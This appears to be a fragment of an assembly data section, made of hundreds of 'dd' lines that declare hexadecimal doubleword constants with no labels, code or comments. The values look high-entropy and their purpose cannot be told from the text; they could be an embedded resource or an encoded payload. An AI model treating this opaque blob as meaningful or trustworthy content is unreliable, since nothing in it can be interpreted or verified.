		dd 504014BBh, 4A2AA820h, 4A11F203h, 2917AFB8h, 4271EEC3h
		dd 8163D56Fh, 0FEF03278h, 0BC02C269h, 92B7278h,	27080AA2h
		dd 0C77E5B83h, 0E7B8BBE4h, 7970E9F1h, 58C513DDh, 0FB4A1BA8h
		dd 0E23BA52Dh, 0D9AFD64Bh, 58079633h, 0F369DCEFh, 12B7B84Ah
		dd 0FC11B413h, 0A6ECD657h, 3410D389h, 7BEAE8C1h, 0CB89FA1Fh
		dd 67C17752h, 14DC585Dh, 55C49FAFh, 37F1FD32h, 0BC7057EAh
		dd 0E2CA012Ch, 666E9022h, 0AB466E2Ah, 0C9B40456h, 0B2525A01h
		dd 4E936B9Ch, 4806188Bh, 0F5473EFEh, 40ED59C0h,	986F162Dh
		dd 1EA90C49h, 640C010Ch, 8DBBD13h, 97E9A430h, 0A0A49DC1h
		dd 39B58851h, 0EC74D718h, 500159D0h, 0A48A8FDAh, 996A09E0h
		dd 1277E03Ah, 91B716Eh,	8EF70504h, 0F8BB9C1Eh, 0FCB6BAC7h
		dd 9D0CF0B6h, 8801B551h, 0C8FE5BD8h, 4DAB961h, 81B6FF5Eh
		dd 0B8138914h, 84F1E327h, 5776A909h, 2F45F91Eh,	0CD26EC6Bh
		dd 9140DF4Ah, 4BFD59EAh, 97CDAB42h, 91790F0h, 0DD010A74h
		dd 0E905B9FBh, 31F48894h, 9D949DB1h, 3A028F90h,	0E91CDE28h
		dd 5897A4B5h, 929AA8BEh, 7DE27153h, 0B87D4116h,	0EB80C220h
		dd 0FA2F40C7h, 0BC5EB9ACh, 45746125h, 3C08A4E8h, 2C5224E5h
		dd 2AA30D63h, 9C00526h,	4056F217h, 1622E608h, 92ED0509h
		dd 0FA6505FDh, 289E5905h, 2C54656Fh, 23350043h,	55A0F1Bh
		dd 0FEDF16F0h, 3BFEA1C1h, 0E909F6B3h, 0CED1BF72h, 97791782h
		dd 1315411Eh, 25E40DA4h, 5314FC89h, 18EE149Dh, 5D767268h
		dd 93838E93h, 65C7B932h, 0BB290C96h, 7A83A3C0h,	214D2DCFh
		dd 0CDA3D196h, 0ADC2E9D2h, 5B88EA7Eh, 0BF9E34D9h, 3E80D694h
		dd 4F060AB5h, 0C2449454h, 0C808C00Bh, 2CCE6B08h, 0B1BB013Dh
		dd 7A215C3Bh, 9CB8E812h, 0F68A40h, 5136458Bh, 0AD3FE1B9h
		dd 7AA66255h, 0A00CAB1h, 15C6895Ah, 0F383B7E9h,	0AE827F84h
		dd 0D5D22B99h, 78C99BF1h, 280BA595h, 0B0559724h, 0B5F13939h
		dd 0B7088273h, 9A20890Ah, 0CA805421h, 3BEACCF5h, 0F82A6297h
		dd 4B6F5958h, 0F5260A58h, 0F035A666h, 0B1A886E9h, 30644289h
		dd 0C513C864h, 785C0468h, 0DD54F5FBh, 81B72C50h, 6C9E5D84h
		dd 4D032C80h, 49E9D5F7h, 7061DD51h, 6440C2D0h, 258EE2BEh
		dd 385417D9h, 0F4177DAFh, 497A5625h, 0F77ECAFFh, 4696DDBh
		dd 0BA006A52h, 44B91BC8h, 5006817Ah, 315BFD22h,	0A2A52DACh
		dd 6874B2FDh, 129CBF08h, 0FCBCD790h, 992D0223h,	571DD65Bh
		dd 5074088h, 0AB12DBE9h, 2D77C8h, 3FC74314h, 48F45E05h
		dd 2AC18759h, 85E0C4D1h, 53019604h, 9CE45B5Dh, 3F114154h
		dd 0F2A71EA8h, 9B55C205h, 66C8C9B5h, 60351280h,	29B13CABh
		dd 58404718h, 5A3168CBh, 0C4CBB621h, 280FCA6Dh,	9E8EC87Dh
		dd 8C65E27h, 0D2A02D36h, 8FF4557Bh, 5D587A7Fh, 0CED53C7Ah
		dd 0DE276DA8h, 0BBA121F5h, 57F60B5Fh, 898F9D89h, 0BBA4BEC7h
		dd 16B472F6h, 54253EFCh, 0D9B792E0h, 11B0B54Ch,	214FCB1Fh
		dd 7A63A509h, 0F08DFE4Eh, 0BF70AC3Eh, 6AE37148h, 6F3C2302h
		dd 0DFCB874Bh, 6EA4A341h, 0BF9393BDh, 25E9ED8Ch, 0DE3A814Bh
		dd 17B7AF28h, 9CD76699h, 0B12E8541h, 0C5D77AB7h, 0CCC82EC2h
		dd 3A5D9D0Ah, 0DF0BC190h, 0BC3A2A25h, 5751C901h, 51566E9Ah
		dd 3B742408h, 7EF4D5B1h, 0B35300A3h, 0DE2C2FE4h, 3B3A1D5Eh
		dd 6E3AB45Bh, 0A2D744C2h, 975BFE3h, 0F5802ADEh,	5292A2F8h
		dd 24349031h, 33D1D141h, 44DFBEF6h, 0EA48C434h,	325C088h
		dd 15630E21h, 3A8B20Dh,	0D9A0F706h, 0A9838DF8h,	1F7562DAh
		dd 8E55082Fh, 578F3501h, 30BB0FBCh, 5A2A9780h, 0B6462D06h
		dd 0A4C1CA2Eh, 8A67D42Dh, 8BB38CE9h, 8580455Dh,	0F3F21BFDh
		dd 0B075F69Dh, 0AA3B6830h, 0E2063976h, 195821E8h, 0CDE6018h
		dd 5AD68910h, 11728B6h,	1616CBF2h, 1603B27Bh, 0CCBF8268h
		dd 1117A84Bh, 0B6005523h, 43C40636h, 0C0CB056h,	42AA1D2Eh
		dd 17511672h, 63FE90EFh, 42D583Eh, 0F10DA64Eh, 1D31E273h
		dd 1222B27Fh, 2D531945h, 0E3958B0h, 0C10ABA79h,	0DFF702C2h
		dd 2C865475h, 0B6E90434h, 31B7FFF0h, 959FF300h,	71E9BDB5h
		dd 44D70B9Dh, 0C854BE3h, 28BE51EEh, 0BB16F091h,	0DF68A7C0h
		dd 0BA15C449h, 5F5B0509h, 35A320AAh, 8F2FB139h,	0C71671F1h
		dd 393EEC66h, 0FC9F1EBAh, 870504EFh, 8005FB3Ah,	7122DF8h
		dd 0CBEECD56h, 61582A4h, 5281F50Ch, 3BFAD3E9h, 0E97ED3D9h
		dd 2EEE5A58h, 88CD50EDh, 0B0FFB941h, 1F651213h,	7ED90104h
		dd 42257549h, 9C30DAF4h, 0F963118Fh, 13C31160h,	0A0E843CEh
		dd 3E20E96Eh, 0E4584A15h, 0A2B7395Eh, 2DDF038h,	0D60CF01h
		dd 0F912175Dh, 8CEE5914h, 21B4BF0Dh, 60351A27h,	9D26ADAEh
		dd 0AF630392h, 3D5DCB58h, 213C8368h, 0F74B5B36h, 0B7EFF084h
		dd 595CC60Eh, 4D8C01F4h, 0C86864FCh, 29E33A4Fh,	0A762DC27h
		dd 91791640h, 2F476E48h, 11276007h, 2CC1B8ADh, 9C48186Ah
		dd 5EEF9EFDh, 3475ADECh, 60E9162Ch, 0EA26EF7Eh,	0B3C64DE0h
		dd 5EFC10Ch, 0DD00606h,	7EA82F97h, 0EB218827h, 163DDE25h
		dd 0D0EF8CADh, 0C65592AAh, 0D60B2727h, 9B7190F7h, 6C68808Ah
		dd 5E31124Fh, 210DF438h, 0EDE87F0Fh, 885F29F1h,	1A77634h
		dd 29FFCBBh, 0F2A82AADh, 2A60DC4Ch, 0CD04062Ch,	0F8E0E5E4h
		dd 6DB75307h, 672EE780h, 0F76262C7h, 0E2CBE887h, 0A52B9724h
		dd 160513DCh, 14EF2931h, 2750A7Ah, 0E964CE79h, 987D102Ah
		dd 80988D2Fh, 0F011BB8h, 9E2D3F4Fh, 96419147h, 0F872ABE4h
		dd 5A60407Fh, 1FE64BBFh, 89121580h, 46D62790h, 1CC5D492h
		dd 0D4A5F6BAh, 808B615Ah, 0EACCAACAh, 6352BFE6h, 0D4885A16h
		dd 662C01FEh, 3AB45058h, 994FFC2h, 6C027559h, 0DF53272Ch
		dd 80C26CAh, 3DF85F1Ch,	0F9A00197h, 18812E44h, 14310CF5h
		dd 0E9468B73h, 8776C12Fh, 41FDA942h, 0B781069Bh, 205441E2h
		dd 8E62050h, 8077A9A2h,	0E31AAFB6h, 90EBF81Bh, 0E81E20D5h
		dd 3115B90Fh, 0EFF43828h, 68704C63h, 0EE28CE3Ch, 9699008h
		dd 0AE1CE9F5h, 83C3691Ah, 0BC89338Ah, 717DB4A9h, 429069FBh
		dd 0C6BC91A6h, 0DA3F74A4h, 365245AAh, 0EE30BE61h, 13D7A26h
		dd 0CDBE5621h, 2B1BED72h, 1F8180A0h, 0F26AC8F6h, 9E41EEE0h
		dd 0E254D5CEh, 7722F302h
		dd 0C1DB2E3Bh, 0E0046174h, 594D6807h, 8D0098EAh, 0D527FA9Eh
		dd 3C5CCCE1h, 0F4BEA5BDh, 582C93Ch, 6F87C8ADh, 0F3A180EBh
		dd 50342E0Ah, 7EC9EE65h, 0B0414E55h, 1C9666C4h,	99BB2916h
		dd 0A3D77C9Ah, 0A2E0F4E9h, 0C2D3ED83h, 7D07655h, 0AF0AEE80h
		dd 0D5B4093h, 1B2B4485h, 8B254BBAh, 1BC3B281h, 0F6AE0683h
		dd 0A077A27Eh, 0E00DF26Bh, 95A56804h, 0EF13F1D3h, 0D43AE1B1h
		dd 8929ABE3h, 4F6E32Ah,	4E8B176Fh, 603037FEh, 301341CAh
		dd 0DAF74803h, 404E2C1h, 4E890C22h, 0AECEC414h,	96CD26C8h
		dd 0BFBE0FD8h, 0FA4DDEC4h, 0EA5AD5F2h, 13417F52h, 47A93EB0h
		dd 64F1A02Bh, 1334C4BFh, 0FCD9335Fh, 4D7000A4h,	0F229B02Dh
		dd 0ED24AE9h, 12D201ABh, 5945477Ah, 1D3BE656h, 0F262D8BFh
		dd 1F2E2C7Ah, 2F4C2766h, 1A413C41h, 0F601679Ah,	0AC0EF5D0h
		dd 5E9671C2h, 505B76F6h, 2E77FCA3h, 801DE18Fh, 1A156851h
		dd 55B07E91h, 0F11F135h, 2E01887h, 4801145Fh, 84185CAh
		dd 0FB5ECC92h, 30E97238h, 0F5E5D92h, 681CC0B7h,	0FD2F059Dh
		dd 64AF1B33h, 4BCAE53h,	6969B0B1h, 9DBCD712h, 4B6A2B1h
		dd 4276A5AAh, 0EEC4D3F3h, 7A5BB105h, 960C4F4Ch,	4CB32D63h
		dd 0A93B1E60h, 3B40BE4Ah, 80DCF688h, 60168ECh, 53E116A7h
		dd 5107AE7Eh, 18F16855h, 79F84629h, 97FFB4E4h, 0BFFA5289h
		dd 0AFF9BB9Dh, 0B215162Eh, 0B2899F9Fh, 6268D5A4h, 74BF836Eh
		dd 666841C6h, 78133331h, 91460B24h, 78B88AC4h, 0D693A34Fh
		dd 0C8863BE8h, 25072A5Ch, 1CC52644h, 2D864CA3h,	0CADCD57Fh
		dd 3CF90049h, 2CB37F0Dh, 0A4D8E0E9h, 0DE4CE267h, 1C0B5AC4h
		dd 0DD6AD673h, 2E086228h, 30DF699Ah, 0B787AAC7h, 0D09F68CCh
		dd 9DE3FA09h, 46B1A14Bh, 527232EBh, 1A7E74C1h, 0C2D45995h
		dd 6CFDBD68h, 0F35295B0h, 9BABD79Dh, 0E927CD52h, 29DE8009h
		dd 9EA05D0h, 5A0EAC77h,	8A16E7D5h, 348B830h, 345B6956h
		dd 2B77C4DAh, 0EBEB5C06h, 0D9C4AB7Dh, 942B09DFh, 0D8388FD2h
		dd 695B2F2Ah, 2B68769Ch, 58BCB24Fh, 65061C4Dh, 266659D1h
		dd 0EA06438Eh, 2DD3B5EEh, 4F02FAC2h, 6893D0E1h,	558A0376h
		dd 0DEB68344h, 0FE083AACh, 0EF0109D3h, 1655104h, 0E230E7B4h
		dd 999A23E4h, 28D02517h, 4008700Ah, 381CF131h, 0D3099E56h
		dd 0C500DFD6h, 765D22A1h, 18E0BD02h, 0F53134C1h, 0B761E58Eh
		dd 8228265Fh, 0C23D640Ch, 0A1705D19h, 1690CA09h, 5D1E02CFh
		dd 0BFCFDC5Ah, 20F60727h, 129D1063h, 9859CDB1h,	7ABC52B0h
		dd 2D2B6900h, 0B2277BAh, 0DA295F0Eh, 24AA44C0h,	6C09D12Eh
		dd 98600704h, 0FAFD9EC1h, 9F04AC00h, 0F6924DF0h, 990FC780h
		dd 896CD995h, 9CF77391h, 5EB6FC2Ch, 4221FBABh, 5E6EFDE6h
		dd 804A53CFh, 0ADFBBA8Fh, 40B80958h, 541F7185h,	0EDC16D90h
		dd 3AEF0F8Ah, 125DF97Bh, 0A18072E9h, 90CAE780h,	42C6413Fh
		dd 0D3F55A92h, 0A85D1331h, 6A01D38Dh, 2C20C21h,	7050BA3Eh
		dd 5DE30785h, 0D2B478BDh, 0A7024BECh, 3145EA55h, 14EF8E0Ch
		dd 0B6289E13h, 804D241h, 5DE7BC1Fh, 565D8DE2h, 0B291D91Ah
		dd 77552DA5h, 0D642C379h, 3B6807E0h, 0E745FC2Fh, 9615A6B0h
		dd 0E50A81FEh, 0CF138109h, 0D7F65966h, 989C9443h, 90492EFh
		dd 1E49E9C3h, 0E9719B75h, 0E4FA753Eh, 9FD077A2h, 0C82DA546h
		dd 78F5B0CCh, 82CA8865h, 123FBB80h, 0AF066F26h,	40FE4475h
		dd 5376C927h, 0C9A02CB4h, 0CF2DF1E2h, 7A02DD83h, 6CC55B0Ah
		dd 1F800501h, 0EB2A1ECCh, 0A9BB9824h, 0F2ABE4E5h, 0A1FB8483h
		dd 38B21DD1h, 11AD2861h, 55735C2h, 0DEC2501Fh, 8375099Ah
		dd 25D6F6D0h, 0E740F06h, 0BCD993Ch, 0D5F87106h,	3ED3DC0h
		dd 5FAE70F3h, 3B1529E8h, 8F38C981h, 93D3B93Fh, 43978CFBh
		dd 6B5B2009h, 0D18D5631h, 10FA2258h, 0BE03F019h, 3F82318Ah
		dd 1FA1C29Dh, 5B4709D7h, 5A99C8C2h, 2C2711C6h, 2C1E51BEh
		dd 5B110959h, 1EC28E5Eh, 6AD7F17Fh, 78105A65h, 152F4BB8h
		dd 1FAF050h, 0DD0F701h,	3AFB1067h, 350F6180h, 0C6635BCFh
		dd 80B72A07h, 56510402h, 0D7F71C3Ch, 0DD40ED87h, 0E588D93Fh
		dd 4F350A10h, 0DE24D0Bh, 40910345h, 0F11F59Bh, 8B975DF6h
		dd 71107D3Ch, 3A494168h, 2EBE8184h, 0EB3E5508h,	5A1C3F3Ch
		dd 3868EBE6h, 5229B455h, 0F223B055h, 492CB45Eh,	0E598A0A2h
		dd 15198F7h, 9F8B73F9h,	4F52111h, 9C008EC4h, 4E391235h
		dd 9F05054Bh, 1D3538Eh,	3A75F5C5h, 2DE73120h, 8BE90B59h
		dd 0ED84E8F8h, 1DD52D7Eh, 0F2C595C0h, 0BA0411D7h, 49F31811h
		dd 0A583B10h, 0D32BB68h, 6774B981h, 0A06A6A1Fh,	0E60A4027h
		dd 0BA41492Eh, 0D128F301h, 0CF3029C8h, 0E8EB5FC4h, 0D567DE44h
		dd 390541Eh, 36FD165Bh,	0ECB059CBh, 75825BD0h, 5745BBD4h
		dd 0F68140D0h, 2FD6A78h, 5B7B3287h, 9F2D9C80h, 520FD908h
		dd 49E87635h, 0EEF6FA4Bh, 40578185h, 86181D6h, 8DA47BFDh
		dd 0AA531325h, 30AAC22h, 3DB87123h, 0FFDC2046h,	39FC5C5Eh
		dd 0A305882h, 0CEDDE95Fh, 480939FCh, 538C854h, 815FF65Ch
		dd 3B9F76BEh, 57848531h, 0A93F5235h, 7054E28Dh,	0BC894B31h
		dd 0EC06A941h, 0B05C4A2Fh, 0CF138157h, 0A2137748h, 69F02B1h
		dd 96043B05h, 8166F154h, 0D93FDCBCh, 6BF13E26h,	0C458AC2Bh
		dd 33BF1207h, 0BD4B2628h, 55A668BEh, 964E92Dh, 0FD7B57BCh
		dd 0B8505380h, 252B3AF1h, 7F624001h, 4D209D58h,	0B15100CFh
		dd 0BDB450DDh, 0FCB8E4C0h, 0ECCB5922h, 70FD16A6h, 0CC07AEDBh
		dd 0ABAED101h, 0DD909AF6h, 7E9F4452h, 0BF9C8C4Dh, 9F09C143h
		dd 0D6EDA1Bh, 8025288h,	0A3C5775Dh, 37A2D7A7h, 0A0098CF9h
		dd 54E32DC4h, 66234C98h, 1F30532Eh, 58702D6h, 0CD585EE9h
		dd 134CD8F1h, 249259BDh, 0BC8822C0h, 0D6C00B9h,	923513B3h
		dd 48B14F00h, 0B45BD82Dh, 0BDA3993Ah, 0B218D605h, 135AE9DFh
		dd 75EB60BAh, 1421004Fh, 1350C78h, 5F499090h, 215724B6h
		dd 7D08FA5Bh, 0F7F20420h, 1509D717h, 563F9568h,	1A65C16Fh
		dd 3A783116h, 0C182B3D4h, 5413A217h, 0FFE8458h,	0F34F0AE8h
		dd 5F5EC4E8h, 5B17F708h, 1C0A33BAh, 0F5B01250h,	0C5DB3B16h
		dd 0EAE8C0AFh, 820D2384h, 88DA2945h, 0BDC10804h, 4539B7E7h
		dd 4E1AC419h, 0F8AFF059h, 3161C79Dh, 20E152Ah, 0FAF45F5Dh
		dd 914A5569h, 0A12BF3DFh, 6F62C2A2h, 27D3B800h,	14502BBh
		dd 0EA2958C5h, 0DFD6FF83h, 75C28700h, 10FC376h,	8D6D0F2h
		dd 0D8EF5E3Ch, 0D325E921h, 4A842F68h, 0CB77E2BAh, 2D137462h
		dd 6851FBF6h, 0F17454A2h, 0B47CCC7Bh, 27541597h, 56B5C8C8h
		dd 3BE58009h, 0E9C701F6h, 72789316h, 69E66882h,	866217FEh
		dd 90985D04h, 0C92652AAh, 0A500AF33h, 0E92E3B30h, 0E3135E72h
		dd 0B951806Bh, 5EE84A5Fh, 0E919002Eh, 0D117B59Dh, 73392D09h
		dd 0C8D982FDh, 59078605h, 0F0105888h, 79C0CD6h,	5440CEF3h
		dd 44F30C81h, 0EE72AA68h, 61797A05h, 32C1016Ch,	31911435h
		dd 314B48B6h, 48050606h, 0C05C0EF0h, 6239EF49h,	5A3B5564h
		dd 0A6ECC01h, 91AA503Eh, 91200B24h, 4B1CF19Fh, 3709E7D9h
		dd 0C445FDA0h, 0C02A2FBFh, 73CA8030h, 0C8F23D36h, 0CA094EADh
		dd 5A57595Fh, 850F84h, 0F916DEB9h, 1966C179h, 817D4E6Eh
		dd 3711100Ch, 8280D120h, 664A1BC9h, 9B36E912h, 7D4CEB9Fh
		dd 517E097Dh, 4C095759h, 0DE09D161h, 5A5E8B44h,	0E9D742FAh
		dd 59F592B9h, 0A1504BFEh
		dd 8C1D5B17h, 22BE5C12h, 8D87648Fh, 9F683102h, 31C87E7Eh
		dd 0E8535FF0h, 0CA17A20Ah, 0C953DD41h, 0D1B3E941h, 4FA7CB2Eh
		dd 37502FA3h, 0B74793Ch, 3E1C178h, 0A8816C8Eh, 20618354h
		dd 0F1E19C3Fh, 5B356340h, 9FE8B4A0h, 496F7576h,	0B7EF500Ch
		dd 0EF016453h, 513305BCh, 0FE30C82h, 0CA5D5A8Ch, 530800A0h
		dd 66887BBh, 0E5E94F09h, 0C0BF4A7Ch, 25A92B51h,	70638097h
		dd 2FC25BFFh, 95481742h, 8D721073h, 716925B0h, 0E08DD50Dh
		dd 0DABD2B40h, 95846B2Dh, 60B2AE57h, 677FE9A0h,	208469A3h
		dd 2E1BD3C2h, 24FC3EF6h, 50082058h, 0B0C18F87h,	0BD55022Ah
		dd 1374367Ah, 66D89663h, 0CDEC1DB3h, 0AE0BCB0Fh, 0ACE58069h
		dd 0F86A9F60h, 72201F5h, 0E6E96CD0h, 0B2E73FEFh, 0D0C28D13h
		dd 3819F4FCh, 1A045F5Bh, 0A5136DF3h, 0B5B37AE2h, 0E59DFFD3h
		dd 51371280h, 0A8E913C3h, 31E5A64Bh, 0DA47096Fh, 0F77282F4h
		dd 189B1280h, 0C29567D5h, 3648F566h, 55644807h,	0BA09C54Eh
		dd 898FC574h, 73B084D3h, 0BDD05E09h, 1F2B101Fh,	20B03312h
		dd 3E9D0FBFh, 0C84A2297h, 96C346BCh, 5B2D897Ah,	7B9E7562h
		dd 9FD54220h, 8827F74Ch, 4BB2F5C4h, 23FE2644h, 1B5A1FCCh
		dd 75B30053h, 0EBC0CBFEh, 0C33B8003h, 8E3044Eh,	0E2EC85E9h
		dd 5FE17776h, 547783ABh, 6A8229E9h, 7CC418ADh, 0A9530A86h
		dd 0DE31AD12h, 279EFE68h, 1EFA535Fh, 80A46C30h,	37327485h
		dd 0BD3812Dh, 0BD8DA953h, 13E9AF9Dh, 0BF142972h, 0B8B4130Dh
		dd 76E0C989h, 67BA976Bh, 0FF6BC2D5h, 1C13E4F2h,	90EA6AC3h
		dd 2A16862Ch, 3C4BE9E4h, 0DE80C6F8h, 549F435h, 367DBE1Fh
		dd 0BB020565h, 0D8290800h, 95EF90E9h, 0CC01B910h, 13254E7Bh
		dd 0C1C0680Fh, 0AEADA0E5h, 0B2719DE2h, 0C8E48C89h, 9354007h
		dd 3DEE7107h, 3BDA5C80h, 899F025Bh, 0DE69800Fh,	0B54EA669h
		dd 882437Ah, 0B5967AFDh, 176A1403h, 0DCE2C503h,	0B20217Ch
		dd 3601160Ch, 0D802CAD8h, 0F733BF4Bh, 37527DDAh, 0FB17DC05h
		dd 94A121B9h, 1D65C0F7h, 0A428B779h, 537B0391h,	9816899Ah
		dd 0EBF2C209h, 0FAACEFC5h, 271246B3h, 41CBE299h, 73CA20B0h
		dd 0E6E22A50h, 466D5C81h, 90ADF817h, 6E0E1A44h,	0D9318113h
		dd 1A593D0Dh, 1335E8F3h, 0DBF7275Ch, 3EBA8594h,	9ED94BA0h
		dd 6FB130A4h, 66326B0Bh, 50A82073h, 0BC208598h,	275D9C0Ch
		dd 8B6A8F5Fh, 0DD16E2D5h, 0B08A0AB9h, 0F0B6F13Dh, 1CCE2480h
		dd 0AFD7169Bh, 0DDFE9565h, 2C2F30C5h, 0C5F3BB6Eh, 4FEF7538h
		dd 58A41837h, 5A6FB828h, 55218832h, 0BCCB2B5Ah,	3918FD56h
		dd 5EB5F02Dh, 0CAB962D1h, 5BB16C7Fh, 0B762C114h, 66F8C07Dh
		dd 0A5EDE7BFh, 0D3DD16EBh, 5FCBBD7Fh, 687D61B2h, 9705E5D6h
		dd 0A1A6DF5Eh, 7777BA10h, 0DBFC54DFh, 0F1680751h, 0B647656Bh
		dd 522D176Dh, 0B1A31850h, 50B0793Ah, 4F278D30h,	4C98D885h
		dd 593CF6B2h, 515EA568h, 2B1B7DBh, 8D765751h, 9F21D102h
		dd 834C552Bh, 0D70CE951h, 0BF9E56BDh, 0FD009412h, 95BCA078h
		dd 27E9F229h, 9F497B5h,	5A13742h, 4AE2BE5Eh, 2E51CA4Bh
		dd 7B63755Ch, 52C50E4Fh, 0F00FB9B6h, 665F5AEBh,	5153020Bh
		dd 26B381B5h, 963CF62h,	0FF0A06CEh, 847366E9h, 0E7B1F0E5h
		dd 0B195BD6Eh, 1055008h, 0B120B864h, 36CB5133h,	8F5394FEh
		dd 7A4B12EFh, 28E06E89h, 0CBF9C5B0h, 2F7CD959h,	0C312EAE8h
		dd 0D378B972h, 0C7C763BAh, 0F2B0434Ah, 0A761B498h, 24F69E5Fh
		dd 0E7D03E5h, 8DC914B4h, 0A4B5F5F8h, 9CFB5E93h,	4A6BE9D3h
		dd 2690F557h, 1B762D59h, 0D32ED626h, 820A924h, 0A2E6E388h
		dd 0F42566B1h, 8011AB99h, 0FA047F6h, 0F54A0156h, 0ECA5D7B8h
		dd 5CA58E9h, 22D97A4Dh,	0E0DEBA4h, 6B930FB9h, 66475CA1h
		dd 44457016h, 0AE48103Ch, 92C4E31h, 96797C10h, 8F68C192h
		dd 124D3341h, 4AA4AB4h,	2BE0630h, 0F3321A68h, 0CF82A595h
		dd 3A75A51Bh, 0C0235C9Ch, 51C11FC8h, 226DFBEh, 0BA40746h
		dd 369D122Eh, 9C4BD1DAh, 868EB517h, 0F11CE917h,	0CD9E3A03h
		dd 0D420F248h, 4D4FF5EAh, 0A15AF5E2h, 79E72E4Bh, 0A0CAEBD6h
		dd 48CCFF4Ah, 8057CECAh, 0CF0807DCh, 38EF6059h,	0CBB89E2Ch
		dd 0AEED044Bh, 895A2D89h, 0F14F6BFEh, 77C333D2h, 549F3716h
		dd 69961ABBh, 7B6A09F7h, 12FDAD82h, 1D825798h, 0B8059E44h
		dd 348888BAh, 0B9468095h, 16100BD7h, 5F74112h, 0F38A706Fh
		dd 257E58D0h, 279FC4C8h, 0EAFEDA75h, 8D8B6D51h,	0CAFD8958h
		dd 860261DCh, 0FBE58000h, 80CDFE3Ah, 8E2C83C5h,	0B851E828h
		dd 505EDF0h, 0CA787248h, 62257B9Eh, 403EFC63h, 0CFBD5557h
		dd 542C5E00h, 32C5ED81h, 0BE7B4B08h, 30E809C9h,	51C6313Eh
		dd 0F5228522h, 0E3C02E0Dh, 0BC9D32E9h, 1D418064h, 0EDD16D1Ah
		dd 6C532CC1h, 23641C05h, 32ABB17Fh, 705D68EAh, 0FADEC4D5h
		dd 0C4C8F882h, 0B8164CC9h, 9958F2h, 1BD666FCh, 745EF389h
		dd 0E826262Dh, 4BA17D6h, 0FD550FE5h, 0E3F203C8h, 0B74D417Fh
		dd 0DED07890h, 0EB2D4E4Fh, 29E9240Fh, 0C9AEE559h, 4C6C45A0h
		dd 0F8B52FE3h, 12B700C2h, 0E6814080h, 0CA2825DBh, 992CC006h
		dd 14B947Dh, 46233C77h,	0C46E31E9h, 8BB2AB52h, 0AD1AEFF0h
		dd 89259000h, 0C1215FF8h, 0DA099558h, 1D686AE0h, 0B2EB4241h
		dd 0BBFB5ED4h, 0D1FEFD96h, 6EE19365h, 0AF82FC24h, 0AF6AF98Dh
		dd 0E960B0F5h, 2C9E9EB2h, 50F98BD1h, 3AF45D4Ah,	5DAF3C2Ch
		dd 7CC51810h, 559B0C17h, 8CE50AEh, 81DBE440h, 0A8F24746h
		dd 88EB6664h, 4B61D2E7h, 0DD1AC057h, 9B4077FEh,	0BE301062h
		dd 2F0D0C25h, 4069005h,	7929E0F1h, 0E465A512h, 0A13E17ABh
		dd 4A164C59h, 92785BFCh, 0F724F74Dh, 5C67C49Fh,	0C8DAA028h
		dd 0ADB6B24Eh, 107EF74Eh, 0B140D6C5h, 7573272Dh, 6E0010CEh
		dd 8176DB07h, 272D98CBh, 60DD3DB8h, 783C80A8h, 0E3C126D0h
		dd 8892FCEh, 59CC2083h,	3B9D2202h, 7D310751h, 8266FD24h
		dd 4A545DC0h, 2E56E909h, 0D321C78Dh, 26C0488Fh,	1F3B029Ch
		dd 0EFC26FEEh, 0C45ACC25h, 0B484FF45h, 41959484h, 4C1AA3BBh
		dd 792703A0h, 0B0B869D4h, 189F41DBh, 2ED2E5E9h,	42C606B6h
		dd 75C42831h, 0EE749FEBh, 3F52186Ch, 0C29C6CB2h, 0D0EACE47h
		dd 931CCAC7h, 0D382F9F2h, 35845F5h, 301FB65Ah, 139BEC58h
		dd 774780E9h, 5A9D821h,	0B841CF6Fh, 0BF4F9A19h,	0EBAF0F30h
		dd 0C1E15C03h, 87312A5Eh, 26067346h, 0B6F34A5Eh, 10D0BC2Eh
		dd 2C5A01C4h, 6891E948h, 58C00E64h, 6F178AE8h, 864691E7h
		dd 0BAF72AAh, 9E6640Fh,	2426F6AEh, 0D25E2DA8h, 0B1710350h
		dd 0B2514599h, 625927E3h, 0A0B0D715h, 37C1ACBDh, 0B439F7C1h
		dd 28A831D1h, 7DF0901h,	0CFD30BAh, 955D618Bh, 0B09216D6h
		dd 69637C04h, 0AB5E01B3h, 99254D46h, 2B999FE5h,	0AEA4F456h
		dd 7F496C96h, 4AA9338Eh, 0DEAD7D79h, 64E950E2h,	0BF160096h
		dd 0F93131D0h, 685B0B5Fh, 6F997A6Ah, 0F82F2157h, 4E618534h
		dd 12198CE0h, 18A3E224h, 0C277C24h, 4E30343Bh, 3FB2429h
		dd 68160B41h, 65E64F04h, 2F4DBE0Bh, 81BD7C01h, 8A5DBCF1h
		dd 5EE23066h, 5CD9F680h, 7C758280h, 0BF6D90D1h,	0D29538C6h
		dd 61FBB12Ah, 244995E9h, 0D64A01AFh, 2B28D9FBh,	0E90D31EAh
		dd 0C1A5F6CCh, 6002FBD3h, 6104982Ch, 74D0E020h,	0E6D7B028h
		dd 1C7F97F8h, 219080D4h, 25D60417h, 0EADB63E9h,	0CE48F28Fh
		dd 6C493EB1h, 96E6C494h
		dd 5124013h, 6DD84FC0h,	0B54CE0BFh, 23760161h, 0E52E2835h
		dd 44097F5Ch, 0FD0D62D7h, 7C279E65h, 690A9813h,	0CCD4702Ch
		dd 0A072108Eh, 48FB347Fh, 97F2EA0Ah, 0EE0FCD81h, 37A9602Fh
		dd 0D011F004h, 0F8BBD501h, 8EE9C26Ch, 2586A8Ch,	2738BACh
		dd 387E0CB3h, 9F156C2h,	0AFD6EA04h, 81A8B564h, 1A1E444Fh
		dd 51214F4h, 39AB1804h,	4A2A02ABh, 0BC815551h, 3025726Fh
		dd 5A407729h, 59681266h, 0B1869118h, 71AC2EEFh,	0B59FC5Ah
		dd 0D7382CF2h, 0F4FA682h, 798319F4h, 0B046E674h, 6F2917E7h
		dd 4C81BC67h, 2A6DDCFEh, 0F37903EBh, 3AF20E95h,	7347FE60h
		dd 0C52EE20h, 0D673137h, 0E2123E0Ch, 46ACAB9Fh,	0C2E7E25Fh
		dd 941C5721h, 0B15DF0A4h, 7D6885D0h, 0FC30BF72h, 9F1801Dh
		dd 7E1C0A5h, 0D6759306h, 0F325D17Ch, 304DD147h,	2CA9F1ACh
		dd 0B427B528h, 1165E20Bh, 0C136D81Fh, 0BA347BE8h, 58CA0041h
		dd 0D45A9DB4h, 0C8103AF0h, 0C09DD84Ah, 965B6805h, 0EE35E959h
		dd 0CF8066CDh, 0FE29A06Ch, 7F807B04h, 8A4325C8h, 0C5133C94h
		dd 4BB77EAh, 0FABC4D1Ah, 88454CDDh, 4E5F13C2h, 0AD7120EBh
		dd 4D986805h, 468B1D16h, 0FF25076h, 201C9889h, 0C1354F48h
		dd 0A0BAF0E5h, 55950883h, 1146C912h, 510F895h, 0E944082Ch
